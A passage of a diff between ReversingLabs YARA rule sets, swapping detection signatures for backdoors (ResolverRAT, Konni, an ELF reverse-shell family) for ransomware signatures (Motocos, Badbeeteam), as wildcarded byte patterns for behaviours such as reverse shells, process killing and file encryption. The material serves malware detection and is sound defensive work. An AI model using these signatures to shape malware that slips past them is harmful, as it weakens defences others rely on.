?? ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 89 C2 C1 E2 ?? 0F B6 85 ?? ?? ?? - ?? 66 0F B6 C0 8D 04 02 66 89 85 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 89 C2 - C1 E2 ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 8D 04 02 66 89 85 ?? ?? ?? ?? 8B 15 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 85 ?? ?? ?? - ?? 89 D1 29 C1 89 C8 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 - 14 24 E8 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 C2 03 55 ?? 8B 45 ?? 83 C0 ?? 89 - D1 29 C1 89 C8 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 83 C2 ?? 8B - 0D ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? 89 45 ?? E9 ?? ?? ?? - ?? 8B 45 ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 89 14 24 E8 ?? ?? ?? - ?? 85 C0 7E ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 - 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 - E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 81 C4 ?? ?? ?? ?? 5E 5F 5D C3 + $find_files_p2 = { + 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8D 84 24 ?? ?? ?? ?? 31 C9 0F 1F 00 E9 ?? ?? ?? + ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 84 C0 74 ?? 48 8B 44 24 ?? 48 8B + 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 54 24 + ?? 0F 1F 00 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF C9 48 85 C9 0F 8C ?? ?? + ?? ?? 0F B6 14 08 66 90 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA + ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 42 ?? 48 89 4C 24 ?? 48 89 84 + 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 70 ?? 48 89 74 24 ?? 48 8B 5C 24 ?? 48 + 8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 44 + 24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? + 48 89 DF 48 89 D3 48 89 C2 48 89 C8 48 89 D1 E8 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? + 48 85 C0 0F 8D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? ?? ?? ?? 48 + 8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 84 + 24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ?? + 48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8 } - $set_process_name_v2_p1 = { - 55 89 E5 57 56 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8B 45 ?? 8B 00 A3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 89 - C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? - F2 AE 89 C8 F7 D0 83 E8 ?? 03 45 ?? 83 C0 ?? 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 E0 ?? - 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 - 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 - 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 48 ?? 8B 45 ?? C1 E0 - ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 10 8B 45 ?? 89 C7 89 D6 FC F3 A4 8B 45 ?? C1 E0 - ?? 89 C2 A1 ?? ?? ?? ?? 01 C2 8B 45 ?? 89 02 8B 5D ?? 83 C3 ?? 8B 45 ?? C1 E0 ?? 89 - C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D + $kill_procs_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC + 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 + 89 5C 24 ?? 31 C9 66 90 EB ?? 48 8B 54 24 ?? 48 8D 4A ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? ?? 48 89 4C 24 ?? 48 C1 + E1 ?? 48 8B 1C 08 48 89 5C 24 ?? 48 8B 4C 08 ?? 48 89 4C 24 ?? 48 8B 73 ?? 48 89 C8 + FF D6 48 89 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 + 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 48 + 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B + 3D ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 + 89 08 48 8D BC 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 48 A5 48 8D BC + 24 ?? ?? ?? ?? 48 8D 7F ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? + 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + EB ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8D 84 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 48 85 C9 0F 84 ?? ?? ?? + ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 12 48 89 54 24 ?? 48 8B 01 48 89 44 24 ?? 48 8B 59 + ?? 48 89 5C 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 31 F6 EB ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 } - $set_process_name_v2_p2 = { - F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 03 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 A1 - ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? C7 45 ?? - ?? ?? ?? ?? EB ?? 8B 55 ?? 83 C2 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 8B 00 B9 ?? ?? ?? ?? - 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 02 89 45 ?? 83 - 45 ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 5D ?? 83 C3 ?? 8B 45 - ?? C1 E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? - ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 03 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 - E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 75 ?? 8B 55 ?? A1 ?? ?? ?? ?? 89 D1 - 29 C1 89 C8 89 C2 A1 ?? ?? ?? ?? 89 C7 FC 89 D1 B8 ?? ?? ?? ?? F3 AA 8B 55 ?? A1 ?? - ?? ?? ?? 89 D7 29 C7 89 F8 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 89 14 - 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 5B 5E 5F 5D C3 + $kill_procs_p2 = { + C2 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 89 CE 48 89 D1 48 89 74 24 ?? 48 89 8C 24 ?? + ?? ?? ?? 48 8B 11 48 89 54 24 ?? 48 8B 79 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C + 24 ?? 48 8B 7C 24 ?? 90 E8 ?? ?? ?? ?? 48 85 C0 0F 8C ?? ?? ?? ?? 48 8B 44 24 ?? BB + ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F + 11 3A 48 8D 15 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? + ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? + 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ?? + ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 8B 44 24 ?? 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? + ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? E8 } condition: - uint32( 0 ) == 0x464C457F and ( ( ( all of ( $packet_loop_v1_p* ) ) and ( all of ( $reverse_shell_v1_p* ) ) and ( all of ( $set_process_name_v1_p* ) ) ) or ( ( all of ( $packet_loop_v2_p* ) ) and ( all of ( $reverse_shell_v2_p* ) ) and ( all of ( $set_process_name_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $kill_procs_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Resolverrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Motocos : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects ResolverRAT backdoor." + description = "Yara rule that detects Motocos ransomware." author = "ReversingLabs" - id = "f62f50b6-7d2d-570b-82c8-f6e741270f1e" - date = "2025-06-30" - modified = "2025-06-30" + id = "cda44b86-c747-5b48-acd8-e68311ab24a3" + date = "2021-09-17" + modified = "2021-09-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.ResolverRAT.yara#L1-L94" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Motocos.yara#L1-L75" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4847650c49d305ea3c3e1dd23efefe03c485cff78253a49e06ee45bb46ebf360" + logic_hash = "34b99847f029a291808f08ba6e6ae62a54e6fed5acc928fe4828054801786881" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "ResolverRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Motocos" tc_detection_factor = 5 importance = 25 strings: - $run_visual_executor = { - 7E ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 1F - ?? 28 ?? ?? ?? ?? 0B 06 1F ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 73 ?? ?? ?? ?? 25 20 - ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? - ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 20 ?? ?? ?? - ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? - 20 ?? ?? ?? ?? 63 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B - ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 63 20 ?? - ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E - } - $execute_mixed_executor = { - 12 ?? (FE | 15) ?? ?? ?? ?? ?? 12 ?? 06 8C ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 7D ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 06 7B ?? ?? ?? ?? 59 76 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ?? 20 ?? ?? - ?? ?? 61 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? 1A 8D ?? ?? ?? ?? 25 16 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 - 25 17 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 25 18 12 ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 25 19 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? - ?? ?? ?? A2 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DD ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 20 ?? - ?? ?? ?? 58 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 + $generate_key = { + 55 8B EC 83 C4 ?? 53 89 4D ?? 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 15 + ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 ?? ?? + ?? ?? 64 FF 32 64 89 22 8B 4D ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 + ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B D8 89 5D ?? 80 + 7D ?? ?? 75 ?? 8B 5D ?? 03 DB 53 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 53 8D 45 ?? 50 8B 45 ?? 50 6A ?? 80 7D ?? ?? F5 1B C0 50 6A ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 84 C0 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 + 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? + 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? + ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? + 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C2 } - $write_connection = { - 7E ?? ?? ?? ?? 0A 16 0B 06 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 28 - ?? ?? ?? ?? 0C 08 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 20 ?? ?? ?? - ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? - 09 16 09 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? - 08 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 16 13 ?? 11 ?? 16 6A 7E - ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 17 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 11 ?? 16 11 ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? - ?? 25 13 ?? 16 3D ?? ?? ?? ?? DD ?? ?? ?? ?? 11 ?? 39 ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 08 16 08 8E 69 7E ?? ?? ?? ?? 28 ?? - ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ?? 06 7E + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 89 4D ?? 89 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? + 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 C6 45 ?? ?? 33 D2 55 68 ?? ?? ?? ?? 64 FF + 32 64 89 22 B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B D8 8B C3 8B D8 F6 C3 ?? 74 ?? 66 83 E3 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B C3 + E8 ?? ?? ?? ?? 8B D0 B1 ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 D2 + 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 8B 10 FF 12 8B C8 8B 55 ?? A1 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B C8 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 88 45 ?? 33 C0 5A 59 59 64 + 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? + ?? EB ?? 80 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 45 ?? 89 45 ?? C6 45 ?? ?? B8 ?? ?? ?? ?? + 89 45 ?? C6 45 ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 88 45 + ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? E9 } - $read_sorter_enumerator = { - 03 3A ?? ?? ?? ?? DD ?? ?? ?? ?? 03 75 ?? ?? ?? ?? 3A ?? ?? ?? ?? 03 75 ?? ?? ?? ?? - 0A 06 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 25 3A ?? ?? ?? - ?? 26 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 DD ?? ?? ?? ?? - 73 ?? ?? ?? ?? 25 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 07 7E ?? ?? ?? ?? 28 ?? ?? ?? - ?? 25 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 80 ?? - ?? ?? ?? 38 ?? ?? ?? ?? 14 0C 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 7E - ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 38 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 3A ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 - ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD - ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 + $find_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 8B FA 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 7C ?? 8B 45 ?? 66 + 83 3C 58 ?? 75 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? E8 ?? ?? ?? ?? + 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 8D 45 ?? 50 8D 53 ?? 8B CE 8B 45 ?? E8 ?? ?? ?? + ?? 8B C7 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 + ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B C7 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 + ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3 } condition: - uint16( 0 ) == 0x5A4D and ( $run_visual_executor ) and ( $execute_mixed_executor ) and ( $write_connection ) and ( $read_sorter_enumerator ) + uint16( 0 ) == 0x5A4D and ( $generate_key ) and ( $find_files ) and ( $encrypt_files ) } -rule REVERSINGLABS_Win64_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Badbeeteam : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Konni backdoor." + description = "Yara rule that detects Badbeeteam ransomware." author = "ReversingLabs" - id = "c45c23c6-be15-58cc-ae4d-631bed4a3bb2" - date = "2023-12-07" - modified = "2023-12-07" + id = "39490b21-34b9-51cb-a3ed-672b3186a233" + date = "2020-11-13" + modified = "2020-11-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Konni.yara#L1-L205" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Badbeeteam.yara#L1-L137" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "37c45e3ed23ca9f4de876f666c9f6d9bf7eee5cb1650b02cdd9f58e2ccc4b5cb" + logic_hash = "9b5367655c7c70958332d31524833d96d03027aab693393b19f478a80482abd0" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Konni" + tc_detection_type = "Ransomware" + tc_detection_name = "Badbeeteam" tc_detection_factor = 5 importance = 25 strings: - $network_communication_p1 = { - 48 8B C4 53 55 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 3D ?? ?? ?? ?? 45 33 FF - 48 8B D9 4C 8D A7 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 49 